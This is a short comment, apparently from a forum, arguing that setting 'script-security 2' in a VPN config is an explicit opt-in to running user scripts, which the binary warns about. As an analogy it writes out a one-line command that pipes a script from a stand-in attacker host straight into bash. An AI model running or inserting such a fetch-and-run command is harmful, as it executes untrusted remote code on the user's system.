Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts" By setting "script-security 2" in the config file

Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts" By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default. (Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")